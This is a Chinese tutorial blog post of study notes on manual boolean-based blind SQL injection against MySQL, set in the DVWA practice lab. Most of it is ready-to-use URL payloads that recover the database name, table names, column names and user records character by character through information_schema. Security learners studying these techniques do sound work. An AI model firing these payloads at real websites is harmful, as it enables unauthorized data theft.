mysql 猜解字段_SQl盲注手注笔记-视频详解

sql盲注手注笔记

ed3a2f71e86abbbf464b6e224ab0bd1d.png基于布尔的盲注

此文所使用工具及环境:

浏览器 hackbar插件 DVWA漏洞靶场环境 sqlmap常见注入函数:

Length()函数 返回字符串的长度

Substr()截取字符串

Ascii()返回字符的ascii码

ord() 类似于ascii码

mid() 和substr用法相同

ed3a2f71e86abbbf464b6e224ab0bd1d.png以下操作请使用二分法

报数据库名

http://url/?id=1'and (length(database()))>10--%20 测试数据库名的长度

http://url/?id=1%27 and ord(substr(database(),1,1))=118--%20 爆出数据库名的第一位

http://url/?id=1%27 and ord(substr(database(),2,1))=118--%20 爆出数据库名的第二位

后面依次类推...猜解指定数据库下的表名长度

?id=1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>5--%20 猜解当前数据库中第一张表名的长度

?id=1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5-- 猜解当前数据库中第二张表名的长度爆表名

?id=1' and ord(mid((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103-- 猜解dvwa数据库下第一张表的第一个字符的ascii码

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103-- 同上

?id=1' and ord(mid((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),2,1))=103-- 猜解dvwa数据库下第一张表的第二个字符的ascii码

接下来依次类推....爆字段长度

/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))>7-- 猜解指定数据库中的指定表中的第一个字段名长度

/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))>7-- 猜解指定数据库中的指定表中的第二个字段名长度爆字段

接下来自由发挥吧....

猜解字段内容长度

/?id=1' and length((select username from security.users limit 0,1))>3

/?id=1' and length((select username from security.users limit 0,1))>4

上述语句为猜解指定数据库与表名中的第一条字段名的长度爆字段内容

开动你的大脑自行发挥.....视频教程:暂不添加。

有需要的可以加群哦,群号码894343165

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值